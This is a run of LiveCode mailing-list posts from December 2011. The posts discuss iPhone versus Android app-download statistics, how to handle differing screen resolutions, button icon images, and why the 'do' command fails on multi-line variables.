So many people will look at the article title, see there are a bunch of numbers, and conclude why it must be so! Very few people really think the problem through, or take such articles with the grain of salt I always do. So the masses are affected, and the agenda of the publisher is achieved. What a world. Bob On Dec 23, 2011, at 9:56 AM, Mark Wieder wrote: > via Good Morning Silicon Valley... Two new reports out this week. > > "The first, a report by Xyologic, finds that ?iPhone is for games, Android is > for apps.? It found that of the top 150 downloads in November from the Apple App > Store, 100 were games, and game downloads outnumbered app downloads by nearly a > 3-1 margin (71.5 million to 25.6 million)." > > > > "Apple users certainly spend more money on apps. That was the finding in a > second study, by analysis firm Distimo, that compared the top 200 apps in both > the Apple and Android markets." > > > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 23 13:39:03 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 23 Dec 2011 10:39:03 -0800 Subject: [ANN] TwistAWord for iPad In-Reply-To: References: Message-ID: <5AF25B4B-AA29-45C8-95EF-F1CB9CE4C5DF@twft.com> Gratz! Bob On Dec 23, 2011, at 10:28 AM, Andre Garzia wrote: > Mark, > > Congratulations on your release! as soon as I am home with my iPad, I will > pick a copy. > > Thanks again for your work, the world needs more good games! > > Cheers > andre > > On Fri, Dec 23, 2011 at 3:43 PM, Mark Schonewille < > m.schonewille at economy-x-talk.com> wrote: > >> Hi guys, >> >> One more announcement to make... Two years ago, we made TwistAWord for >> Mac, Windows and Linux. For quite some time we have been thinking that >> TwistAWord would be the perfect game for iPad. We have finally released >> TwistAWord for iPad a few days ago and it is now available in the iTunes >> store. You can find it at http://qery.us/1eo . >> >> -- >> Best regards, >> >> Mark Schonewille >> >> Economy-x-Talk Consulting and Software Engineering >> Homepage: http://economy-x-talk.com >> Twitter: http://twitter.com/xtalkprogrammer >> KvK: 50277553 >> >> Become our partner in sales http://qery.us/1bq Start selling Color >> Converter today. 20% commission! >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Fri Dec 23 13:39:21 2011 From: andre at andregarzia.com (Andre Garzia) Date: Fri, 23 Dec 2011 16:39:21 -0200 Subject: iPhone is for games, Android is for apps. In-Reply-To: References: Message-ID: Mark, DISCLAIMER: This is my personal opinion. I have an iPhone, an iPad and an Android phone. I think that the hardest thing for Android is dealing with the multitude of different screen resolutions. While it is doable to create dynamic interfaces that resize as needed, the fact is that there are android devices out there with completely different proportions, ie: motorola has a SQUARE PHONE, ick! With iOS, you only need to deal with 3 resolutions (for now), you need to script for iPhone, iPhone with retina display and the iPad and you reach the whole market, this is a lot easier. Speaking about games and android, how do you go building your game interface when you have gazillions of resolutions? Do you resize your assets on first launch? Do you bundle multiple copies of each asset in the most common resolutions? You try to resize at runtime (slow)? To have a good reach on the android market, your software needs to be able to run on different devices. A software that just run on my Nexus S will not achieve great numbers on the market because it will alienate a multitude of devices. That is why I think that the most useful thing that RunRev could add to LiveCode would be a way for us to have some resolution independence. Like a TV safe area concept from video editing. I remember that when I was at the film school we had TVs and Monitors that had nested squares made with marker pen. I asked a teacher why the monitors were marked like that and he explained to me that stuff inside the innermost the marked area was sure to appear in all TVs but stuff on the outer areas could not be guaranteed to show because TVs has different frames that would hide part of the screen. If we had something like that in LiveCode for mobile where we could place stuff on an area and LiveCode would calculate any resizing needed to display that area in full screen, it would make game writing much easier. When dealing with devices that can go from 320x240 to 1024x768, we need better tools or we risk having geometry routines that are larger than our main app logic. end of apology for resolution independence. On Fri, Dec 23, 2011 at 3:56 PM, Mark Wieder wrote: > via Good Morning Silicon Valley... Two new reports out this week. > > "The first, a report by Xyologic, finds that ?iPhone is for games, Android > is > for apps.? It found that of the top 150 downloads in November from the > Apple App > Store, 100 were games, and game downloads outnumbered app downloads by > nearly a > 3-1 margin (71.5 million to 25.6 million)." > > < > http://www.xyologic.com/blog/the-top-25-iphone-and-android-app-publishers-in-2011-iphone-is-for-games-android-is-for-apps/ > > > > "Apple users certainly spend more money on apps. That was the finding in a > second study, by analysis firm Distimo, that compared the top 200 apps in > both > the Apple and Android markets." > > > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From mwieder at ahsoftware.net Fri Dec 23 14:11:21 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 23 Dec 2011 19:11:21 +0000 (UTC) Subject: [OT] iPhone is for games, Android is for apps. References: Message-ID: Bob Sneidar writes: > > Hi Mark. This is a rebuttal of the article, and not of your opinion, which I value as a general rule. I posted no opinion here. I'm not even sure I have one on this. Just posting for a general discussion. Hey - I read it on the internet - it must be true. -- Mark Wieder From coiin at verizon.net Fri Dec 23 14:15:27 2011 From: coiin at verizon.net (Colin Holgate) Date: Fri, 23 Dec 2011 14:15:27 -0500 Subject: iPhone is for games, Android is for apps. In-Reply-To: References: Message-ID: > >end of apology for resolution independence. I have to solve this same issue when doing things in Flash. There you have options about whether the "stage" is scaled or not, with the non-scaled mode being much like it is with LC. With the scaled mode though it does something neat. It scales the height of the stage to the height of the device, and it reveals more content off to the sides if you're on a wider screen. This way I can lay things out to be a nice fit for iPad, but I have extra background texture going off to the left and right. On an iPhone you see a bit more of that, and on the widest of devices, the new Galaxy Nexus, you would see even more background texture. I literally have one layout that works for all of the devices. From bobs at twft.com Fri Dec 23 14:17:33 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 23 Dec 2011 11:17:33 -0800 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: References: Message-ID: <6EFEE9D3-20C3-47CB-A855-682090D178C5@twft.com> On Dec 23, 2011, at 10:39 AM, Andre Garzia wrote: > If we had something like that in LiveCode for mobile where we could place > stuff on an area and LiveCode would calculate any resizing needed to > display that area in full screen, it would make game writing much easier. > When dealing with devices that can go from 320x240 to 1024x768, we need > better tools or we risk having geometry routines that are larger than our > main app logic. > > end of apology for resolution independence. Off the top of my head, which is admittedly pointy, any serious attempt at a geometry engine would need a min and max property so that the geometry editor would not try to scale down smaller than the objects on a screen would allow. Apple saw this when they had to provide a way for an iPhone app to be used on an iPad. The solution? Scale to twice the size and wash your hands of the matter. :-) Going the other way is even worse. Who would want to use a well populated iPad app, but scaled down to half the size? At some point, only the developer knows how small the app could get and still be usable. There is no automatic way of determining that. It looks for all the world like custom geometry routines are the only way of solving the problem. The iPhone to iPad double scale trick works because the ratio is roughly the same. But to try and take an app laid out for a really wide android screen and fit it into a small square device? mmmm nothing automatic about that. In the final analysis, it looks like your original argument that Androids do not lend themselves to certain ways of designing apps, and iPhones are much easier to manage geometry with is spot on. But I think that custom geometry routines are only one way of approaching the problem. How about a card for each existing android resolution, one for iPad and one for iPhone, set to the proper size on startup, and each laid out specific to the device? The same thing could be done for an Android app. It will bloat the app for sure, but it's one approach that avoids a geometry manager. Another approach might be to download and install the proper form for the app on first launch from an FTP or WEB site. Not sure if that is feasible with i-devices though, and new device resolutions would require a new version. You might be able to download positional and size information for the app on first launch based on the size of the device screen. That way a new device would not require a new app. Just update the positional database for the new device and voila! That is all off the top of my pointy head though. Bob From mwieder at ahsoftware.net Fri Dec 23 14:15:34 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 23 Dec 2011 19:15:34 +0000 (UTC) Subject: iPhone is for games, Android is for apps. References: Message-ID: Cue Devo... Freedom from choice Is what you want -- Mark Wieder From pete at mollysrevenge.com Fri Dec 23 14:30:36 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 23 Dec 2011 11:30:36 -0800 Subject: Trouble with button icon images Message-ID: I have a card in a substack of my mainstack that contains images for buttons I use in other substacks. All seems to work fine so far but I have a problem with one button whose image does not show up. The same image is used as the icon for buttons on other cards and shows up just fine. If I copy a button that uses the image from another card to this card, the image disappears from the button. Other buttons on the same card that refer to different images work just fine. Any ideas? -- Pete Molly's Revenge From jacque at hyperactivesw.com Fri Dec 23 14:33:53 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 23 Dec 2011 13:33:53 -0600 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: References: Message-ID: <4EF4D7A1.4060006@hyperactivesw.com> On 12/23/11 1:11 PM, Mark Wieder wrote: > Bob Sneidar writes: > >> >> Hi Mark. This is a rebuttal of the article, and not of your opinion, which I > value as a general rule. > > I posted no opinion here. I'm not even sure I have one on this. Just posting for > a general discussion. Hey - I read it on the internet - it must be true. > Thanks for the links, I thought they were interesting. I read both. It seems to me that the target markets are a little different; Apple and Google both provide all the basic utilities like email, web, etc. The folks who get an i-thing are probably happy with that and spend their money on entertainment. I see the Android market as a little more techy; the OS, after all, has a more computer-ish interface and allows much more control -- you can do things on an Android device that you can't do on an i-thing (for example, you can see and work with the file system.) It would make sense that Android users would have more interest in apps and utilities that allow them to explore those capabilities. The articles presented data to back up the claims, though it's important to note that Android users do in fact download games, they just download apps more often. As a developer, I thought it was good info to have when making decisions about what to expect when releasing to either market. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Fri Dec 23 14:50:55 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 23 Dec 2011 19:50:55 +0000 (UTC) Subject: [OT] iPhone is for games, Android is for apps. References: <4EF4D7A1.4060006@hyperactivesw.com> Message-ID: J. Landman Gay writes: > ...though it's important to note that Android users do in fact download games. The first Android app I downloaded was something called "Casey's Solitaire"... haven't won a game yet. -- Mark Wieder From matthias_livecode_150811 at m-r-d.de Fri Dec 23 15:05:09 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 23 Dec 2011 21:05:09 +0100 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: References: <4EF4D7A1.4060006@hyperactivesw.com> Message-ID: <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> That?s funny. Me too. And i did not yet win a game too. Matthias Am 23.12.2011 um 20:50 schrieb Mark Wieder: > J. Landman Gay writes: > >> ...though it's important to note that Android users do in fact download games. > > The first Android app I downloaded was something called "Casey's Solitaire"... > haven't won a game yet. > > -- > Mark Wieder > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 23 15:07:06 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 23 Dec 2011 12:07:06 -0800 Subject: Trouble with button icon images In-Reply-To: References: Message-ID: <54F05921-6E78-4C76-8B8B-32170052C0C0@twft.com> The only way I have gotten this to work reliably is to make sure that the images needed for buttons in a particular stack are IN that stack, not the mainstack, not a substack, but the stack that actually needs them. I suppose you could put them all in the mainStack, so long as the mainStack was not closed when the substack was running. Just hide the mainStack, don't close it. Bob On Dec 23, 2011, at 11:30 AM, Pete wrote: > I have a card in a substack of my mainstack that contains images for > buttons I use in other substacks. All seems to work fine so far but I have > a problem with one button whose image does not show up. The same image is > used as the icon for buttons on other cards and shows up just fine. If I > copy a button that uses the image from another card to this card, the image > disappears from the button. Other buttons on the same card that refer to > different images work just fine. > > Any ideas? > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Fri Dec 23 15:31:42 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 23 Dec 2011 14:31:42 -0600 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> Message-ID: <4EF4E52E.80703@hyperactivesw.com> On 12/23/11 2:05 PM, Matthias Rebbe wrote: > That?s funny. Me too. > And i did not yet win a game too. > > Matthias > > > Am 23.12.2011 um 20:50 schrieb Mark Wieder: > >> J. Landman Gay writes: >> >>> ...though it's important to note that Android users do in fact download games. >> >> The first Android app I downloaded was something called "Casey's Solitaire"... >> haven't won a game yet. Haven't you two found the cheats in the preferences yet? I can win every time if I turn them all on. Casey is headed to both markets as soon as I can see openGL on my Android tablet. No one on the RR team can figure out why I can't. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From matthias_livecode_150811 at m-r-d.de Fri Dec 23 15:33:54 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 23 Dec 2011 21:33:54 +0100 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: <4EF4E52E.80703@hyperactivesw.com> References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> Message-ID: <306B6678-E5FB-4455-8A32-18F73C8ADF8A@m-r-d.de> Cheating? Never! ;) Matthias Am 23.12.2011 um 21:31 schrieb J. Landman Gay: > On 12/23/11 2:05 PM, Matthias Rebbe wrote: >> That?s funny. Me too. >> And i did not yet win a game too. >> >> Matthias >> >> >> Am 23.12.2011 um 20:50 schrieb Mark Wieder: >> >>> J. Landman Gay writes: >>> >>>> ...though it's important to note that Android users do in fact download games. >>> >>> The first Android app I downloaded was something called "Casey's Solitaire"... >>> haven't won a game yet. > > Haven't you two found the cheats in the preferences yet? I can win every time if I turn them all on. > > Casey is headed to both markets as soon as I can see openGL on my Android tablet. No one on the RR team can figure out why I can't. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Fri Dec 23 15:39:09 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 23 Dec 2011 21:39:09 +0100 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: <4EF4E52E.80703@hyperactivesw.com> References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> Message-ID: Jaqcue, > Casey is headed to both markets as soon as I can see openGL on my Android tablet. No one on the RR team can figure out why I can't. what tablet do you have? Matthias From jacque at hyperactivesw.com Fri Dec 23 15:54:42 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 23 Dec 2011 14:54:42 -0600 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> Message-ID: <4EF4EA92.3010902@hyperactivesw.com> On 12/23/11 2:39 PM, Matthias Rebbe wrote: > Jaqcue, > >> Casey is headed to both markets as soon as I can see openGL on my Android tablet. No one on the RR team can figure out why I can't. > > what tablet do you have? Archos 70 internet tablet running Froyo 2.2.1. I think it may be missing a critical library. I'd like to find someone else who's running 2.2, so I can see whether it is just the Archos tablet or Android 2.2 in general. If anyone here is running that OS and is willing to do a quick test (all you have to do is launch the app,) an off-list email would be great. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dunbarx at aol.com Fri Dec 23 16:43:48 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 23 Dec 2011 16:43:48 -0500 (EST) Subject: How do you do it?? In-Reply-To: <4EF4EA92.3010902@hyperactivesw.com> References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com> <4EF4EA92.3010902@hyperactivesw.com> Message-ID: <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> Why do LC (and HC for that matter) fail to process multi-line variables when using "do"? on mouseUp --get "AA" & return & "BB" get "AA" repeat with y = 1 to 2 do "put" && it && "into temp" & y end repeat answer temp2 end mouseUp If the variable "it" contains one line, the "do" construction works fine, making numbered temp variables as needed. But if I try the routine with a multi-line "it", the handler will not compile. LC complains as: execution error at line 5 (do: error in source expression) near "put AA", char 1 HC complains as well, that it cannot understand "BB". It seems that the routine breaks simply because of the other lines, that is, the next line in "it" is not understandable by the parser. I wonder why it bothers to look there. Don't tell me I need two levels of "do": (do "do put...) Just kidding, that fails also. Just asking. Craig Newman From bonnmike at gmail.com Fri Dec 23 16:58:53 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 23 Dec 2011 14:58:53 -0700 Subject: How do you do it?? In-Reply-To: <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> <4EF4EA92.3010902@hyperactivesw.com> <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> Message-ID: You don't want to preparse 'it'. If you change it to get quote && "AA" & return & "BB" & quote repeat with y = 1 to 2 do "put it into temp" & y end repeat answer temp2 it works fine. The other way 'do' sees this.. put AA BB into temp2 So it will put AA into the message box, and error out on the next line since there is no handler named BB On Fri, Dec 23, 2011 at 2:43 PM, wrote: > > > Why do LC (and HC for that matter) fail to process multi-line variables > when using "do"? > on mouseUp > --get "AA" & return & "BB" > get "AA" > repeat with y = 1 to 2 > do "put" && it && "into temp" & y > end repeat > answer temp2 > end mouseUp > > > If the variable "it" contains one line, the "do" construction > works fine, making numbered temp variables as needed. But if I try the > routine with a multi-line "it", the handler > will not compile. > LC complains as: execution error at line 5 (do: error in source > expression) near "put AA", char 1 > HC complains as well, that it cannot understand "BB". > > > > It seems that the routine breaks simply because of the other lines, that > is, > the next line in "it" is not understandable by the parser. I wonder why it > bothers to look there. > > > > Don't tell me I need two levels of "do": (do "do put...) Just kidding, > that fails also. > > > Just asking. > > > Craig Newman > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bobs at twft.com Fri Dec 23 17:26:34 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 23 Dec 2011 14:26:34 -0800 Subject: How do you do it?? In-Reply-To: <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com> <4EF4EA92.3010902@hyperactivesw.com> <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> Message-ID: <1E9D9BEB-50A7-49E0-BB66-48A1DD96CFD1@twft.com> Hmmm lemme follow this as pseudo code: when the mouse is clicked put "AA" and a carriage return and "BB" into the variable "it" on the first pass of a repeat loop, try to do the command put followed by the word "it" followed by the contents of the variable "it" (it's two lines you know) followed by into "temp1". The statement you are trying to "do" will look like this: do put AA BB into temp1 Well you see what went wrong don't you? The do command does not know what to do with what comes after AA. It cannot even compile it. This is why it is a MUCH better idea to put your command into a variable, and then do the variable. You could then have stepped through the code and seen what the DO command looked like before you tried to "do" it. It may seem like wisdom at first to try to mash all the code into one compact statement, but there is no gain in performance, and there is a HUGE downside of not being able to debug it. Try this instead: > on mouseUp > get "AA" & return & "BB" > -- get "AA" > repeat with y = 1 to 2 > put "put" && line y of it && "into temp" & y into theCommand > do theCommand > end repeat > answer temp1 & comma & temp2 > end mouseUp You will get "AA,BB" Bob On Dec 23, 2011, at 1:43 PM, DunbarX at aol.com wrote: > > > Why do LC (and HC for that matter) fail to process multi-line variables when using "do"? > > > If the variable "it" contains one line, the "do" construction > works fine, making numbered temp variables as needed. But if I try the routine with a multi-line "it", the handler > will not compile. > LC complains as: execution error at line 5 (do: error in source expression) near "put AA", char 1 > HC complains as well, that it cannot understand "BB". > > > > It seems that the routine breaks simply because of the other lines, that is, > the next line in "it" is not understandable by the parser. I wonder why it bothers to look there. > > > > Don't tell me I need two levels of "do": (do "do put...) Just kidding, that fails also. > > > Just asking. > > > Craig Newman > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 23 17:29:25 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 23 Dec 2011 14:29:25 -0800 Subject: How do you do it?? In-Reply-To: References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> <4EF4EA92.3010902@hyperactivesw.com> <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> Message-ID: It won't even put AA into the message box. It will try to compile the entire do statement first, and upon failing will just throw an error. Bob On Dec 23, 2011, at 1:58 PM, Mike Bonner wrote: > put AA > BB into temp2 > So it will put AA into the message box, and error out on the next line > since there is no handler named BB From bonnmike at gmail.com Fri Dec 23 17:41:15 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 23 Dec 2011 15:41:15 -0700 Subject: How do you do it?? In-Reply-To: References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> <4EF4EA92.3010902@hyperactivesw.com> <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> Message-ID: Well yeah because "do" is a unit. part fails, all fail so the AA never gets to the msg box. Explanation still stands though. On Fri, Dec 23, 2011 at 3:29 PM, Bob Sneidar wrote: > It won't even put AA into the message box. It will try to compile the > entire do statement first, and upon failing will just throw an error. > > Bob > > > On Dec 23, 2011, at 1:58 PM, Mike Bonner wrote: > > > put AA > > BB into temp2 > > So it will put AA into the message box, and error out on the next line > > since there is no handler named BB > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dunbarx at aol.com Fri Dec 23 18:00:53 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 23 Dec 2011 18:00:53 -0500 (EST) Subject: How do you do it?? In-Reply-To: References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com><4EF4EA92.3010902@hyperactivesw.com><8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> Message-ID: <8CE8FDDDB36A1DF-11E0-F383@webmail-m133.sysops.aol.com> Mike. Not sure I am getting this. I have two fields, one with several lines of text ("fld 1"). on mouseUp put fld 1 into foo do "put" && foo && "into fld 2" end mouseUp This fails. If fld 1 contains only one line, no problem, as everyone but me seems to know. Please tell me again. Thanks, Craig -----Original Message----- From: Mike Bonner To: How to use LiveCode Sent: Fri, Dec 23, 2011 12:42 pm Subject: Re: How do you do it?? Well yeah because "do" is a unit. part fails, all fail so the AA never gets to the msg box. Explanation still stands though. On Fri, Dec 23, 2011 at 3:29 PM, Bob Sneidar wrote: > It won't even put AA into the message box. It will try to compile the > entire do statement first, and upon failing will just throw an error. > > Bob > > > On Dec 23, 2011, at 1:58 PM, Mike Bonner wrote: > > > put AA > > BB into temp2 > > So it will put AA into the message box, and error out on the next line > > since there is no handler named BB > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Fri Dec 23 18:09:36 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 23 Dec 2011 16:09:36 -0700 Subject: How do you do it?? In-Reply-To: <8CE8FDDDB36A1DF-11E0-F383@webmail-m133.sysops.aol.com> References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> <4EF4EA92.3010902@hyperactivesw.com> <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> <8CE8FDDDB36A1DF-11E0-F383@webmail-m133.sysops.aol.com> Message-ID: The problem is you want "put" to evaluate the variable, but the way you're entering it, livecode evaluates it BEFORE the do. if you just on mouseup put field 1 into fo do "put foo into field 2" end mouseup it will work. do "put foo into field 2" is the same as put foo into field 2 the other way since the foo is outside of quotes its evaluated and turns into the contents of field foo. If there is a return in the field then when foo is evaluated (do "put" && foo) it turns into put line1 of foo line 2 of foo into wherever (meaning the values) effectively what is happening is the value of FOO is becoming part of the script, rather than the value of foo being used by the script. Not explaining very well but hopefully this'll get it there. On Fri, Dec 23, 2011 at 4:00 PM, wrote: > Mike. > > > Not sure I am getting this. I have two fields, one with several lines of > text ("fld 1"). > > > on mouseUp > put fld 1 into foo > do "put" && foo && "into fld 2" > end mouseUp > > > This fails. If fld 1 contains only one line, no problem, as everyone but > me seems to know. Please tell me again. > > > Thanks, > > > Craig > > > > -----Original Message----- > From: Mike Bonner > To: How to use LiveCode > Sent: Fri, Dec 23, 2011 12:42 pm > Subject: Re: How do you do it?? > > > Well yeah because "do" is a unit. part fails, all fail so the AA never > gets to the msg box. Explanation still stands though. > > > On Fri, Dec 23, 2011 at 3:29 PM, Bob Sneidar wrote: > > > It won't even put AA into the message box. It will try to compile the > > entire do statement first, and upon failing will just throw an error. > > > > Bob > > > > > > On Dec 23, 2011, at 1:58 PM, Mike Bonner wrote: > > > > > put AA > > > BB into temp2 > > > So it will put AA into the message box, and error out on the next line > > > since there is no handler named BB > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Fri Dec 23 19:08:49 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 23 Dec 2011 16:08:49 -0800 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: <4EF4D7A1.4060006@hyperactivesw.com> References: <4EF4D7A1.4060006@hyperactivesw.com> Message-ID: <46594408937.20111223160849@ahsoftware.net> Jacque- Friday, December 23, 2011, 11:33:53 AM, you wrote: > I see the Android market as a little more techy; > the OS, after all, has a more computer-ish interface and allows much > more control -- you can do things on an Android device that you can't do > on an i-thing (for example, you can see and work with the file system.) It's also permissible and preferable to root an Android device. OTOH the iThings are more secure. -- -Mark Wieder mwieder at ahsoftware.net From dunbarx at aol.com Fri Dec 23 21:50:32 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 23 Dec 2011 21:50:32 -0500 (EST) Subject: How do you do it?? In-Reply-To: <1E9D9BEB-50A7-49E0-BB66-48A1DD96CFD1@twft.com> References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com><4EF4EA92.3010902@hyperactivesw.com><8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> <1E9D9BEB-50A7-49E0-BB66-48A1DD96CFD1@twft.com> Message-ID: <8CE8FFDEFF38B82-EB0-B33E@webmail-d042.sysops.aol.com> Of course. I have overdone the "do" construction by not including the whole statement in quotes. I am so used to having to break out literals from variables, reassembling them meticulously into a single line, that I missed this very expected result. Thanks... Craig -----Original Message----- From: Bob Sneidar To: How to use LiveCode Sent: Fri, Dec 23, 2011 1:20 pm Subject: Re: How do you do it?? Hmmm lemme follow this as pseudo code: when the mouse is clicked put "AA" and a carriage return and "BB" into the variable "it" on the first pass of a repeat loop, try to do the command put followed by the word "it" followed by the contents of the variable "it" (it's two lines you know) followed by into "temp1". The statement you are trying to "do" will look like this: do put AA BB into temp1 Well you see what went wrong don't you? The do command does not know what to do with what comes after AA. It cannot even compile it. This is why it is a MUCH better idea to put your command into a variable, and then do the variable. You could then have stepped through the code and seen what the DO command looked like before you tried to "do" it. It may seem like wisdom at first to try to mash all the code into one compact statement, but there is no gain in performance, and there is a HUGE downside of not being able to debug it. Try this instead: > on mouseUp > get "AA" & return & "BB" > -- get "AA" > repeat with y = 1 to 2 > put "put" && line y of it && "into temp" & y into theCommand > do theCommand > end repeat > answer temp1 & comma & temp2 